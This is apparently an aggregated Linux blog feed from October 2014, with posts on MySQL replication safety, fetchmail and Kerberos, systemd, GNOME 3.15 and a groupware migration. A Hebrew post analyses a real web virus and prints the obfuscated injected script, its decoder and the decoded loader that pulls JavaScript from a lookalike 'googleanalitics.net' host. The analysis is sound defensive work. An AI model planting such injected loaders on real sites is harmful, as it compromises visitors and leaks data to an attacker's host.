| mysql-bin.000051 |  174 | User var    |         1 |         254 | @`pseudo_gtid`=_utf8 0x37383435623633382D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000051 |  254 | Query       |         1 |         452 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000051 |  452 | Xid         |         1 |         479 | COMMIT /* xid=2141 */                                                                                                                       |
| mysql-bin.000051 |  479 | Query       |         1 |         572 | use `test`; create table test.vals(id int)                                                                                                  |
| mysql-bin.000051 |  572 | Query       |         1 |         639 | BEGIN                                                                                                                                       |
| mysql-bin.000051 |  639 | User var    |         1 |         719 | @`pseudo_gtid`=_utf8 0x37653362616434382D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000051 |  719 | Query       |         1 |         917 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000051 |  917 | Xid         |         1 |         944 | COMMIT /* xid=2150 */                                                                                                                       |
| mysql-bin.000051 |  944 | Query       |         1 |        1011 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 1011 | User var    |         1 |        1091 | @`pseudo_gtid`=_utf8 0x38343331396662332D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000051 | 1091 | Query       |         1 |        1289 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000051 | 1289 | Xid         |         1 |        1316 | COMMIT /* xid=2152 */                                                                                                                       |
| mysql-bin.000051 | 1316 | Query       |         1 |        1375 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 1375 | Query       |         1 |        1476 | use `test`; insert into test.vals (id) values (17)                                                                                          |
| mysql-bin.000051 | 1476 | Xid         |         1 |        1503 | COMMIT /* xid=2154 */                                                                                                                       |
| mysql-bin.000051 | 1503 | Query       |         1 |        1562 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 1562 | Query       |         1 |        1663 | use `test`; insert into test.vals (id) values (18)                                                                                          |
| mysql-bin.000051 | 1663 | Xid         |         1 |        1690 | COMMIT /* xid=2156 */                                                                                                                       |
| mysql-bin.000051 | 1690 | Query       |         1 |        1749 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 1749 | Query       |         1 |        1850 | use `test`; insert into test.vals (id) values (19)                                                                                          |
| mysql-bin.000051 | 1850 | Xid         |         1 |        1877 | COMMIT /* xid=2158 */                                                                                                                       |
| mysql-bin.000051 | 1877 | Query       |         1 |        1944 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 1944 | User var    |         1 |        2024 | @`pseudo_gtid`=_utf8 0x38613237376232352D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000051 | 2024 | Query       |         1 |        2222 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000051 | 2222 | Xid         |         1 |        2249 | COMMIT /* xid=2160 */                                                                                                                       |
| mysql-bin.000051 | 2249 | Query       |         1 |        2308 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 2308 | Query       |         1 |        2409 | use `test`; insert into test.vals (id) values (23)                                                                                          |
| mysql-bin.000051 | 2409 | Xid         |         1 |        2436 | COMMIT /* xid=2162 */                                                                                                                       |
| mysql-bin.000051 | 2436 | Query       |         1 |        2503 | BEGIN                                                                                                                                       |
| mysql-bin.000051 | 2503 | User var    |         1 |        2583 | @`pseudo_gtid`=_utf8 0x39303164373731612D353631612D313165342D393135642D336339373065613331656138 COLLATE utf8_general_ci                     |
| mysql-bin.000051 | 2583 | Query       |         1 |        2781 | use `test`; insert into test.pseudo_gtid (id, ts, gtid) values (1, NOW(), @pseudo_gtid) on duplicate key update ts=NOW(), gtid=VALUES(gtid) |
| mysql-bin.000051 | 2781 | Xid         |         1 |        2808 | COMMIT /* xid=2164 */                                                                                                                       |
| mysql-bin.000051 | 2808 | Rotate      |       103 |        2851 | mysql-bin.000052;pos=4                                                                                                                      |
+------------------+------+-------------+-----------+-------------+---------------------------------------------------------------------------------------------------------------------------------------------+

We can see the "@`pseudo_gtid`=_utf8 0x" entries are replicated well, and are identical throughout the topology (this continue to work well on second-level slaves etc.).

To be continued.

 

22 אוקטובר, 2014 05:28 AM

20 אוקטובר, 2014

Shlomi Noach

Making UUID() and RAND() replication safe

MySQL's UUID() and RAND() functions both provide with (pseudo) indeterministic result. UUID()'s result is moreover bound to the host on which it executes. For this reason, both are unsafe to replicate with STATEMENT binlog format. As an example, consider:

master> create table test.uuid_test (id int, u varchar(64));

master> insert into test.uuid_test values (1, UUID());
Query OK, 1 row affected, 1 warning (0.03 sec)

master> select * from test.uuid_test;
+------+--------------------------------------+
| id   | u                                    |
+------+--------------------------------------+
|    1 | 7e3596d8-56ac-11e4-b284-3c970ea31ea8 |
+------+--------------------------------------+

The warning we got on the insert directly relates to the following inconsistency on a slave:

slave1> select * from test.uuid_test;
+------+--------------------------------------+
| id   | u                                    |
+------+--------------------------------------+
|    1 | 7e379d63-56ac-11e4-8477-3c970ea31ea8 |
+------+--------------------------------------+

The data on the slave is clearly inconsistent with the master's. The slave, replicating via STATEMENT binlog format, re-executes the INSERT command and gets a different UUID value.

External

One solution to the above is to generate the UUID value from your application. By the time MySQL gets the INSERT statement, the UUID value is a constant string, as far as MySQL is concerned.

Internal

However there's a way to do it from within MySQL, by decoupling the UUID() function from the INSERT statement. It takes a session variable. Consider:

master> set @safe_uuid := UUID();
Query OK, 0 rows affected (0.00 sec)

master> insert into test.uuid_test values (2, @safe_uuid);
Query OK, 1 row affected (0.02 sec)

master> select * from test.uuid_test;
+------+--------------------------------------+
| id   | u                                    |
+------+--------------------------------------+
|    1 | 7e3596d8-56ac-11e4-b284-3c970ea31ea8 |
|    2 | 29c51fb9-56ad-11e4-b284-3c970ea31ea8 |
+------+--------------------------------------+

And on a slave:

slave1> select * from test.uuid_test;
+------+--------------------------------------+
| id   | u                                    |
+------+--------------------------------------+
|    1 | 7e379d63-56ac-11e4-8477-3c970ea31ea8 |
|    2 | 29c51fb9-56ad-11e4-b284-3c970ea31ea8 |
+------+--------------------------------------+

The reason why this succeeds is that MySQL stores session variable values that are being used by DML queries in the binary log. It just so happened that @safe_uuid was assigned the UUID() value, but it could just as well have been assigned a constant or other computation. MySQL stored the resulting value into the binary log, where it is forces upon the slave to use. Check out this binary log snippet:

# at 14251
#141018 12:57:35 server id 1  end_log_pos 14319         Query   thread_id=2     exec_time=0     error_code=0
SET TIMESTAMP=1413626255/*!*/;
SET @@session.sql_auto_is_null=0/*!*/;
BEGIN
/*!*/;
# at 14319
#141018 12:57:35 server id 1  end_log_pos 14397         User_var
SET @`safe_uuid`:=_utf8 0x32396335316662392D353661642D313165342D623238342D336339373065613331656138 COLLATE `utf8_general_ci`/*!*/;
# at 14397
#141018 12:57:35 server id 1  end_log_pos 14509         Query   thread_id=2     exec_time=0     error_code=0
SET TIMESTAMP=1413626255/*!*/;
insert into test.uuid_test values (2, @safe_uuid)
/*!*/;
# at 14509
#141018 12:57:35 server id 1  end_log_pos 14536         Xid = 145
COMMIT/*!*/;

The same can be applied for RAND(). Funny thing about RAND() is that it is already taken care of by the binary log via SET @@RAND_SEED1, SET @@RAND_SEED2 statements (i.e. it works), though the documentation clearly states it is unsafe.

With Row Based Replication (RBR) the problem never arises in the first place since the binlog contains the values of the new/updated rows.

20 אוקטובר, 2014 06:40 AM

19 אוקטובר, 2014

Boris Shtrasman

פיטצ'ר מגניב בfetchmail

היום גיליתי פיטצר מגניב בfetchmail- אם עושים אימות gssapi מול שרת exchange בתוך הרשת הארגונית,ניתן להשתמש באותה התעודה לגישה לשרת הexchange גם בכתובות אחרות (גם כאשר אין גישה לשרת המזהה).


לשם ההדגמה.

שרת הדוא"ל:mailserver.myrtfm.blogspot.com
כתובת פנימית:192.168.1.7
כתובת חיצונית:173.194.112.108
שם משתמש להזדהות: username

מתחברים לרשת האירגונית ומתחילים:
חיבור והזדהות ברשת הפנימית :
kinit username@MYRTFM.BLOGSPOT.COM


בדיקת הכתובת  של שרת הדוא"ל :
ping ping mailserver.myrtfm.blogspot.com
mailserver.myrtfm.blogspot.com  (192.168.1.7) 56(84) bytes of data.
64 bytes from mailserver.myrtfm.blogspot.com  (192.168.1.7): icmp_seq=1 ttl=50 time=87.8 ms

הפעלה של fetchmail -v בשביל לגרום להזדהות gssapi ע"י fetchmail.

בדיקת קיום התעודה החדשה:
klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: username@MYRTFM.BLOGSPOT.COM

Valid starting Expires Service principal
10/19/2014 10:44:31 10/19/2014 20:44:31 krbtgt/MYRTFM.BLOGSPOT.COM@MYRTFM.BLOGSPOT.COM
renew until 10/20/2014 10:44:29
10/19/2014 10:48:04 10/19/2014 20:44:31 imap/mailserver.myrtfm.blogspot.com@MYRTFM.BLOGSPOT.COM
renew until 10/20/2014 10:44:29
הפלת fetchmail.

יצאה מהרשת הפנימית.

בדיקת הכתובת החדשה של שרת הדואל
ping mailserver.myrtfm.blogspot.com 
PING mailserver.myrtfm.blogspot.com (173.194.112.108) 56(84) bytes of data.
64 bytes from mailserver.myrtfm.blogspot.com (173.194.112.108): icmp_seq=1 ttl=50 time=87.8 ms

הפעלה מחדש של fetchmail.

19 אוקטובר, 2014 12:10 PM

ik

systemd

זהירות פוסט ארוך מאוד

אם אינכם מכירים או עוקבים אחר עולם הלינוקס, הוא עובר מספר מהפכות ממש קשות בשנים האחרונות, לדעתי האישית – זה רק לטובה.

אחת המהפכות, הוא יצירת פרוטוקול גרפי חדש וחדיש יותר, שיחליף את X11 הוותיק. עליו משום מה אין הרבה תלונות (יחסית) וקיבל את השם wayland.

מהפכה נוספת, היא החלפת הגישה של sysv כמעט לגמרי, עם מנהלי init שונים, כאשר זה שלוקח את הכי הרבה אש, וגם בשימוש הרב ביותר הוא systemd. זה השם שלו, כפי שהוא כתוב. והd בסוף מצייג כמובן את המילה daemon, כי הוא יושב ב pid 1, ומנהל את העליה של כל השאר, אחרי שמנהל האתחול (כדוגמת grub) מריץ אותו.

פוסט זה אינו מנסה לקחת צד במלחמת הדתות הזו, הוא גם לא מושלם, ומחסיר המון מידע, אבל הוא מגיע בשביל להסביר את systemd ואתם מוזמנים להחזיק בדעה שלכם בנושא, תהיה אשר תהיה

הגישה של systemd היא ממוקדת לינוקס, ואינה תואמת את ה API של יוניקס, וככזו, היא מאפשרת לבצע פעולות טובות יותר בלינוקס, בלי להתפשר על דברים שיהיו כלליים יותר בשל הצורך לתמוך בעוד מערכות הפעלה שונות.

בניגוד ל init הישן, ולדעתי הלא טוב, systemd מביא איתו גישה חדשה, אך בראש ובראשונה הוא פותר בעיות שפעם לא נחשבו לכאלו, וחלקם גם לא התקיימו, אבל כיום הן כן – תאימות בכתיבת services בראש ובראשונה.

עם init, כל הפצה או משפחה של הפצות, היו מחזיקות כלי עזר משלה בנושא, כולל פונקציות bash למשל, וחלק עם csh. והנה בעיה ראשונה, מה קורה אם אני רוצה שיהיה לי למשל zsh או psh וכיוב', אבל אני לא רוצה להתקין bash או sh ?

אבל יותר מזה, כתיבת Daemon בכל הפצה, דרשה כתיבה שונה של בדיוק אותו הדבר, וככה יוצרי תוכנה היו נמנעים מכך לחלוטין, או היו מספקים גרסאות לDebian וגרסאות ל Redhat עבור init (למשל), אבל הפצות שעובדות שונה, ובכן הן היו צריכות לכתוב משהו משל עצמם, או לספק תאימות לאחת מההפצות הגדולות יותר.

עוד לפני הסבר כיצד init עבד, אפשר לראות כאן בעיה מאוד קשה.
systemd למעשה פותר את הבעיות האלו, וגם מספק תאימות לאחור במידה ולא המרתם דברים, אבל לא אכנס כאן כיצד, אולי אצור פוסטים נפרדים בנושא.

עכשיו init עובד בתפיסה של runlevel. זה אומר שיש מספר בין 0 ל 6, כאשר כל מספר בטווח אומר כיצד הריצה תהיה בעצם. כאשר 6 זה לאתחל את המחשב, ו0 הוא halt, והשאר אומרים כיצד לרוץ לתוך המערכת, למשל 1 אומר שזה משתמש single user אשר נועד לבצע פעולות תחזוקה כאשר יש בעיה במערכת עצמה.

בברירת המחדל, היו ספריות (מערכת בשם rc) עם מספר ה runlevel הרצוי, ובתוכם סקריפטים אשר היו מתחילים באות S או באות K (אותיות גדולות) ואחריהם מספר בין 00 ל 99. המספר ייצג את החשיבות עליה, כלומר מתי בזמן עליה להריץ אותם ביחד למספרים אחרים, כאשר מספר נמוך יותר מתבצע לפני מספר גבוה יותר. ה S אומר לבצע את הסקריפט בזמן עליה, והK בזמן סגירה מסודרת של המערכת. הפירוש של S זה start והפירוש של K זה kill.

המערכת משתמשת בinittab בשביל לקבל החלטות שונות, כולל איזה טרמינל לאפשר, מה רץ בכל טרמינל כזה וכיוב'. ב systemd, אין צורך בקובץ הזה, הוא יודע לנהל דברים בצורה לגמרי שונה.

יש המון בעיות בגישה של init – מה קורה כש iptables למשל חייב לעלות רק כאשר הרשת עלתה, ומיד, לפני כל דבר אחר, אבל הרשת לא עלתה, ולמעשה זה אומר ש iptables לא יכול לעלות, כי אין למשל devices בשביל לעבור עליו עם החוקים ?
יותר מזה, נגיד ויש לי 2 סוגי תסריטי firewall אבל הם מתנגשים בהם, למשל csf מול Fail2Ban איך אני בכלל מסביר את זה למערכת ?

המערכת של init לא ידעה לספק לכך מענה. למעשה אם היו בעיות ברשת, לפעמים התסריט לעליית הרשת היה נתקע למשך זמן של כמה דקות, ואז רק ב timeout אם בכלל היה כזה, המערכת היתה ממשיכה לעלות, אבל מיד לאחר מכן הסקריפט של iptables היה מנסה לעלות, ונכשל, אבל ממשיכים הלאה.
אם שכחו לבטל מערכת אחת, והיו מריצים גם את השניה, אז מערכות של תסריטים ל iptables היו מתנגשות אחת בשניה, וinit לא היה מודע לזה, ולך תבין עכשיו מה מכניס חוקים או מבטל אותם ב iptables.

ב systemd, יצרו מערכת קדימויות חדשה, בה אני יכול לציין סוג של hooks, שאומר שאני רוצה לעלות רק כאשר הרשת עלתה. ובמקום ליצור priority בשם, אני יוצר הסבר ל systemd כיצד להתנהג איתי.
אני אפילו יכול להגיד שאני מתנגש עם מערכות אחרות שמספקות אותו הדבר, וכיוב'.

יותר מזה, כאלו ללא חוקים מיוחדים, יכולים לעלות בסדר לא מוגדר, ואפילו לטעון את כולם ב"מכה", אולי חלקם בכלל ברקע, אבל אלו עם חוקים, יוצרים שרשרת מסוימת, עם התחלה וסוף ברורים מאוד, התנהגות של מה קורה במצבי עליה והסרה, מה בא קודם, כיצד להתנהג כאשר מה שקורה קודם לא התרחש כי נכשל וכיוב' …

עכשיו יותר מזה, כאשר דימון נכשל לעלות, בinit, הייתי צריך להתחיל לחפש בלוגים שונים מה קרה, למשל אם אפצ'י לא הצליח לעלות, אני אחפש בלוגים של אפצ'י, אבל מה קורה כאשר אין לי לוג כזה, למשל הבעיה היא שאין לאפצ'י הרשאות לרשום את הלוג ?

בsystemd, יש מנהל לוגים לdaemon, אשר מסביר מה עלה, מתי עלה, או לא עלה, עם הודעות השגיאה המדויקות שאותו daemon מספק, וזה נעשה במקום אחד מסודר. כלומר גם אם הdaemon לא יצר קובץ לוג, עדיין יש לי מידע כלשהו בנושא, ועוד במקום אחד ומסודר.

אבל זה לא הכל, אם אני רוצה למשל לסנן את הלוג רק לעליה האחרונה, ורק עבור NetworkManager, יש מערכת שקיבלה את השם journalctl שמנהלת את הלוגים, ודרכה אפשר להגיד על מה אני מדבר, כולל סינון רק של NetworkManager מהבוט של היום.

למשל הפקודה הבאה:

$ journalctl -u NetworkManager -f -b 1b51005fb9814285b9ee872da51682f3

אומרת קודם כל להציג רק מידע של NetworkManager, גם אם נגיד מדובר ב dhclient שרץ דרכו, אקבל אותו ללוג, בנוסף אני אומר לו להתנהג כמו tail -f, כלומר להמשיך להדפיס מידע ולא לצאת, בנוסף, תציג רק מ boot עם המספר שלו. כאשר ניתן לקבל את המידע על המזהה של ה boot גם כן.

כבר לא צריך להתחיל לחפש אם זה בלוג בשם messages או אולי boot או אולי system או כל דבר אחר, אני מקבל ניהול מסודר לזה.

עוד בעיה קשה בלינוקס היא כרטיסי רשת שונים. קרה לי במספר שרתים, בהם כרטיס הרשת הוחלף, או נכנס כרטיס חדש, ופתאום מה שהיה מקודם eth0 הפך להיות eth3. עכשיו לך תשנה את כל הסקריפטים של route וכיוב' בנושא.
יותר מזה, יש לך תחביר שונה בין Debian לבין RedHat לניהול הזה של הרשתות וכרטיסי הרשת.

ב RedHat ניסו איכשהו להתמודד עם זה בגישה שבה אם אני שם את ה Mac אז הוא מנסה לשים את אותו שם של device, בפועל זה לא תמיד עובד, ועושה כאבי ראש.

systemd מספק מערכת אחת לניהול הרשת בברירת המחדל, במקום תחביר שונה בין כל הפצה.

לא הכל ורוד בזה, למשל כאשר הגיע systemd, והחליט לשנות את שמות ה devices. זה מאוד מעצבן בעיני, אבל השינוי הזה מאפשר לי לדעת שתמיד הכרטיס enp0s25 יהיה בשם הזה. והמקדם של השם, אומר מאיפה הוא מגיע, כלומר אם עכשיו אכניס עוד כרטיס רשת PCI, למרות שבאנמרציה שלו אולי היה מקבל את eth0 במקום הכרטיס הנוכחי, כאן הוא יקבל שם אחר.

הבעיה הזו, בנוסף לצורך בתקשורת עם תוכנות אחרות בצורה אחידה, זקוקה לIPC, כלומר תקשורת בין תוכנות שונות לבין systemd. כאשר systemd החליט במקום לממש מחדש משהו משל עצמו, או אולי להסתמך על סיגנלים, להשתמש במערכת קיימת שנמצאת הרבה זמן בשימוש בשם d-bus.

בזכות השימוש ב d-bus, עכשיו ניתן למשל ליצור מערכת login אשר לא תדבר בשפת systemd, אלא בשפת d-bus. מה שאומר שעכשיו המערכות יכולות להיות גנריות יותר, אבל מצד שני, לעבוד בשפה משותפת.
כלומר עכשיו אני יכול לקחת את KDM או GDM ולהתאים אותם ל systemd בצורה אחידה, והם יכולים לנהל הכל באמצעות systemd ו d-bus.

וזה עוד משהו שsystemd מספק – מערכת ניהול למערכת כניסה למחשב, בנוסף, נגיד ואני רוצה לאתחל את המחשב, או לשים אותו במצב המתנה, או לבצע "שינה". אז במערכת init, הפעולות האלו דרשו המון הרשאות שונות והיו הרבה סוגי כלים שסיפקו את אותו הדבר. עם systemd, אני מקבל תמיכה מלאה בפעולות האלו באמצעותו, וכך אני למעשה ריכזתי את הפעולות למערכת בודדת.

סיכום:

המערכת מכילה עוד רכיבים, אבל זה הבסיס להבנת systemd, בלי ממש ללמד כיצד זה עובד.
היות והפוסט מאוד ארוך יחסית, אעצור כאן, אך אין זה אומר שזה כל מה שיש להגיד בנושא, או שלא נשאר מה להסביר בנושא.
גם בנושאים שנגעתי בהם, יש עוד הרבה מה לכתוב, אך כל דבר כזה, זקוק למספר פוסטים בפני עצמם.

אני מקווה שהפוסט עוזר לכם להבין טוב יותר את המערכת, גם אם אתם מחליטים שהיא לא בשבילכם.


תויק תחת:Operating Systems, חברה, טכנולוגיה, לינוקס, קוד פתוח, תוכנה

19 אוקטובר, 2014 11:05 AM

18 אוקטובר, 2014

Yosef Or Boczko

GNOME 3.15 – תחילת הפיתוח

ערב טוב.

עם הכניסה לשגרה שלאחר תקופת החגים, גם פיתוח הגרסה הבאה של GNOME עובר הילוך, עם שחרור גרסה 3.14.1, בדיוק על פי לוח הזמנים, לפני שלושה ימים.

אמנם טרם שוחררה הגרסה הלא יציבה הראשונה בסדרת ‎3.15.x, אך כבר הוכנסו מספר תכונות ל־Git, אותן אסקור בקצרה.

תמיכה ב־ב־OpenGl ב־GDK וב־GTK+‎

עבודה של Alexander Larsson, שמוזגה בשעה טובה לעץ הקוד של GTK+‎, הכוללת אף תמיכה ב־Wayland. מעט על כך ברשומה שכתב Emmanuele Bassi.

GdkGears

סימון יפה בסיום גלילה

מעין סימון המופיע בגלילה מטה או מעלה (כשאין עוד מה לגלול), וזה הזמן להודות ל־Lapo Calamandrei על העבודה הרבה שלו בשכתוב Adwaita, כאשר אנו נהנים מעבודתו בכל יישומי GTK+‎.

יישומון סרגל צדי הפועל עם GtkStack

בדומה ל־GtkStackSwitcher, נוסף יישומון בשם GtkSidebar המאפשר מעבר בין דפי תוכן שונים באמצעות סרגל צדי.

שכתוב ערכת הנושא של המעטפת ל־CSS/SASS

כפי שבוצע במחזור הפיתוח הקודם לערכת הנושא Adwaita של GTK+‎, כך כעת לערכת הנושא של המעטפת. השכתוב עודנו בעבודה, נמצא בענף wip/sass.

אצרף פה מספר צילומים מהמצב הנוכחי של הענף. אציין שהעבודה טרם הסתיימה, שינויים רבים יכנסו עד למיזוג לענף הפיתוח הראשי.

gnome-shell-sass-app-menu gnome-shell-sass-dash gnome-shell-sass-main-menu gnome-shell-sass-overview gnome-shell-sass-power-off-dialog gnome-shell-sass-search-entry

Builder – סביבת פיתוח עבור GNOME

כפי שהבטיח Christian Hergert, הוא עזב את עבודתו ב־MongoDB והתחיל לעבוד על סביבת פיתוח עבור GNOME, הנקראת בשם Builder.

עד כה יש תכונות די בסיסיות, אם כי לא רעות בכלל:

את החשוב ביותר שכחתי – צלמית יפה במיוחד, על ידי Jakub Steiner.

builder

אכניס לכאן רק סקירה של התמיכה בעורך תואם VIM, בת שבועיים (כלומר, מאז שונו אי־אילו דברים):

הקוד זמין תחת git.gnome.org/browse/gnome-builder, אשר ניתן לבנייה עם GTK+‎ 3.14 (כרגע עוד אין צורך ב־GTK+ 3.15). למשתמשי ארץ׳, ניתן להשתמש בחבילה ייעודית מה־AUR, ‏gnome-builder-git.

אציין שהשמטתי אי אילו שינויים (כמו תכונות שנוספו למפקח GTK+‎), וככל הנראה גם שכחתי אי אילו שינויים, אחרים.

בברכה,

יוסף אור

ולפעמים

החגיגה נגמרת

לקום מחר בבוקר ולהתחיל מבראשית

18 אוקטובר, 2014 09:56 PM

Boris Shtrasman

העברת groupware

אני עושה מיגרציה לפתרון groupware שלי והחלטתי לראות מה זה אומר מבחינת צד המשתמש, שידרוג צד השרת אמור להיות ללא תקלות אבל החלטתי לבדוק מה קורה מבחינת קונפיגורציה דומה כלפי המשתמש.

המיגרציה שאני עושה אמורה להעביר את כל המידע מספק א' לספק ב' אבל קיים סיכון של איבוד מידע.
לאחר ביצוע המיגרציה אותם שמות המשתמשים / סיסמאות וfqdn אמורים לעבוד בצורה זהה (כך שתוכונות לקוח לא יראו הבדל).

לשם הבדיקה לקחתי שרת  Exchange ובדקתי מה זה אומר בשבילי כלקוח כשיש מיגרציה כזו.
אני משתמש בKDE  .

יומן:


בגלל שאני משתשמש ביומן מקומי (לא סומך על ה"ענן") אין לי שום בעייה,

אנשי קשר:

יש לי מספר רשימות, הרשימות מהשרתים תמיד מגובה.

דוא"ל:

פה גיליתי שנושא תיבת הדואר לא יעבור חלק , את זה רואים  בתוך תוכנת הדואל של  KDE

 
if (messageCount == 0) {
//Shortcut:
//If no messages are present on the server, clear local cash and finish
m_incremental = false;
if (realMessageCount > 0) {
kDebug( 5327 ) << "No messages present so we are done, deleting local messages.";
itemsRetrieved(Akonadi::Item::List());
} else {
kDebug( 5327 ) << "No messages present so we are done";
}
taskComplete();

משמעות הפעולה   itemsRetrieved(Akonadi::Item::List()); היא שכל המידע השמור מקומית עבור התיבה יאופס(כל המיילים ימחקו).

התחלתי לחפש פתרון לביצוע גיבוי/העלאה ועצרתי על שימוש ב fetchmail.

לצערי fetchmail נכשל בהזדהות NTLM אבל השרת תומך בGSSAPI ולאחר ביצוע kinit הצלחתי לעבוד מול השרת.

את fetchmail הגדרתי בתוך ~/.fetchmailrc:

poll mailserver.myrtfm.blogspot.com 
protocol IMAP
port 143
username "username@myrtfm.blogspot.com "
password "secretpassword"
is "boris"
mda "/usr/bin/procmail -d %T"
mimedecode
keep

את procmail הגדרתי כך ~/procmailrc.:
SHELL=/bin/bash
PATH=/usr/sbin:/usr/bin
MAILDIR=$HOME/MailDir/
DEFAULT=$MAILDIR
LOGFILE=$HOME/.procmail.log
LOG=""
VERBOSE=yes

:0:
*^To:.*\@myrtfm.blogspot.com
$MAILDIR/.myrtfm.blogspot.com/

אני מקווה שלא עשיתי שום טעות בהגדרות אבל נראה שהמיילים יורדים, לאט לאט

18 אוקטובר, 2014 06:40 PM

Diego Iastrubni

וירוסים בעולם ה־web

(אני מנקה את הבלוג שלי ואני מצאתי משהו שכתבתי ב־2008… פאק… זה היה עוד בתקופה של בלוגלי… הבלוג עבר שתי המרות מאז… מוזר…) אני מפרסם בלי עריכה. תהנו.

אני חייב להתחיל את הפוסט הזה בכך שאני מסיר כל אחריות מכל מה שכתוב כאן: הרעיון לא שלי, הביצוע לא שלי, ולפרוץ ולהרוס מערכות מחשב זה מעשה פלילי. כל מי שעושה דברים כאלו הוא לא מישהו רצוי בבלוג הזה ויכול ללכת, לדחוף את האצבע שלו בתחת ולבדוק מה הטעם.

המשך הפוסט הזה מנתח וירוס אמיתי שנמצא בחוץ, ואני לא מצזנזר אף חלק ממנו. מי שחושב שעכשיו אני נתתי למלא script kiddies חומר חדש לתקוף אתרים הוא בור ולא מבין את הבעייה האמיתית: הבורות של אנשים הממוצעים, ורמת התכחום הטכנולוגית של הבעייה. רק על ידי ניתוח אמיתי ופתוח של בעיות אפשר לפתור אותם, ולא על ידי הסתרה שלהן.

בעבודה הבוס מבקש ממני שאני אכנס לאתר ואני אבדוק אם יש שם וירוס (לא, זה לא כי אני מריץ לינוקס 64ביט, הוא גם ביקש ממפתח שמריץ XP…). אני מסתכל על הקוד HTML שיש באתר ואני רואה:

<script>
uluf="%";
of="<i73i63i72i69pti20lai6eguagi65i3dji61vi61si63ri69pt>i20
i66uni63ti69oi6ei20i6ci69v(sn){vai72
sh,ui78i76=\"i308i2b;i69i20oi68Fdi26|*y4i4fli6ei40(#i36i6apIsZi77i39vi24i5dGi78i5ci22tKi54mg3!i2dei7bi5b:i27)i71}c1i3d7.i62JCi4dN^5i7ai66u_i60i42i55rk,aAEi482~Vi50\",ti74i6ei3di22\",i7ac,oui2ctri3d\"\"i2cci63;i66oi72i28si68=i30;i73i68<sn.length;i73h+i2b)i7bi20zi63=si6e.chi61i72i41ti28i73i68)i3bou=i75i78i76.i69i6edexOf(zi63)i3bi69f(i6fui3e-i31i29i7bi20i63c=(i28oi75i2b1i29i25i381-i31i29;i69i66i28ci63i3ci3d0i29ci63+i3di381;i74ri2bi3dui78v.i63hari41t(ci63-i31i29;
i7di20i65i6cse
i74r+=zc;}ttni2bi3dtri3bi64i6fi63i75mei6et.i77i72i69te(ti74n);}<i2fi73i63ri69i70i74>";
vmpq=unescape(of.replace(/i/g,uluf));
var bwn,yug;
document.write(vmpq);
bwn="<Z1k IKonA@3_A3{7tpA$AZ1k IKt>o&h1_g{@Kb9k
K{#ot<SMRs0monA@3_A3{7tCA$AS1k IKtoSRM7tFKKI'//999b3hh3n{A@An K
1Zb@{K/``_KJbpZ?t;&h1_g{@Kbk{u{kk{k;tt></SMRs0m>toqio</Z1k IK>oo";
liv(bwn);
</script>

אוקי מעניין, אפילו מעניין מאוד… אני מסתכל על זה ומנחש שהקוד הראשון, בעצם יעשה מין eval()‎ להמשך, ואז תהיה לי פונקציה בשםliv()‎ שהיא תעשה את החלק המעניין. אז אני מעתיק את הקוד לקובץ נקי, ובמקום להציג על "המסך", אני שופך אותו אל textarea ואז אני יכול להסתכל על הקוד שהדפדפן יראה. הפונקציה liv()‎ נראית ככה:

function liv(sn)
{
    var sh,uxv="08+;i
ohFd&|*y4Oln@(#6jpIsZw9v$]Gx\"tKTmg3!-e{[:')q}c1=7.bJCMN^5zfu_`BUrk,aAEH2~VP",ttn="",zc,ou,tr="",cc;
    for(sh=0;sh<sn.length;sh++){
            zc=sn.charAt(sh);
            ou=uxv.indexOf(zc);
            if(ou>-1){
                cc=((ou+1)%81-1);
                if(cc<=0)cc+=81;tr+=uxv.charAt(cc-1);
            }
            else
                tr+=zc;
    }
    ttn+=tr;
    //document.write(ttn);
    document.getElementById("idTextArea").value = ttn;
}

אוקי, אז הקוד עצמו מקודד פעמיים ורק אז הוא מריץ את הקוד האמיתי!

איזה הפתעה קיבלתי כאשר טיפלתי בקוד שוב ובמקום "להדפיס על המסך" אני שופך את המידע ל־textarea. מה שהיה שם כתוב כאן:

<script language="javascript"> document.write( "<SCRIPT
language=\"JavaScript\"
SRC=\"http://www.googleanalitics.net/__utb.js?"+document.referrer+"\"></SCRIPT>"
); </script>

למי שלא מבין מה כתוב פה, זה בעצם טוען JavaScript חיצוני ושם קורא כל הכיף… אבל הקובץ הזה מאוכסן באתר של התוקף ויש לו שליטה מלאה על מה שקורה ולא צריך להתחכם יותר מדי… אבל, מה שבאמת מעניין כאן, זה הכתובת של האתר. מישהו מזייף אתר עם כתובת דומה לשירות של גוגל, במקום סיומת ‎ .com בעל סיומת ‏‎.net אין מה להגיד, פשוט גאוני! אי אפשר לצפות מאנשים שמתחזקים אתר אינטרנט בתור אוסף של קבצי HTML להבין מה בעצם קרה כאן!

הקושי האמיתי פה הוא לישתול את הקוד באתר הנתקף. לפי דעתי, החלק הזה גם טריויאלי: פשוט קונים אתר בחברה שעושה shared hosting ואז יש לנו גישה פיזית למכונה.

הטקסט המלא

18 אוקטובר, 2014 06:23 PM

ביקורת – נקסוס 4

